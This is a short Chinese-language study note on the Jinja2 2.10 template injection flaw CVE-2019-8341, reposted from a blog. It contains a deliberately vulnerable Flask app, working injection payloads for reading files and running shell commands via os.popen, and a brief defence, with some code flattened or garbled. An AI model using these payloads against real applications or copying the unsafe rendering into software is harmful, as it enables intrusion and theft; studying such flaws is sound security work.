CVE-2019-8341 Jinja2 RCE漏洞学习
漏洞简述
漏洞简介
Jinja2.10版本,Environment的实例方法from_string,存在RCE,该函数在内部实现逻辑中,存在exec函数去执行了,from_string函数参数中的jinja2的代码指令。
漏洞分类
远程命令/代码执行
影响版本
2.10
漏洞验证:
验证环境
- 系统: Mac OS X
- Python:2.7.15
- Flask : 1.0.2
- Jinja: 2.10
验证服务器脚本(漏洞代码)
import jinja2
from flask import Flask
from flask import requestapp = Flask("vuln")@app.route("/")
def index():username = request.values.get('username')return jinja2.Environment().from_string('Hello ' + username).render()if __name__ == "__main__":app.run(host='127.0.0.1' , port=4444) 问题代码就出在第10行: jinja2.Environment().from_string('Hello ' + username).render()
攻击方法1--任意文件读取
Payload:http://localhost:4444/?username={{ ''.__class__.__mro__[2].__subclasses__()40.read() }}
解释Payload:
#"""__mro类似于__base__,但是__mro__是追根溯源的,不是向上查找一级"""
>>> ''.__class__.__mro__
(, , )
>>> ''.__class__.__mro__[-1]
>>> ''.__class__.__mro__[-1].__subclasses__()
[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ]
>>> ''.__class__.__mro__[-1].__subclasses__()[40]
#最终看出来就是在获取file类使用file类创建一个对象,输入参数是文件名,read()函数读取: 
攻击方法2--命令执行
Payload:http://localhost:4444/?username={{%27%27.__class__.__base__.mro()[1].__subclasses__()[71].__init__.__globals__[%27os%27].popen(%22ls%20-l%22).read()}}
解释Payload:
#前面同理买就是为了获取两个类,这两个类中的__init__.__globals__中有os模块,用来执行命令:
"""
"""
#然后可以获取到os模块,利用os模块的popen执行命令,read函数获取回显。 
防御
不使用这个函数或者对属于进行过滤。
转载于:https://www.cnblogs.com/KevinGeorge/p/10396397.html
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
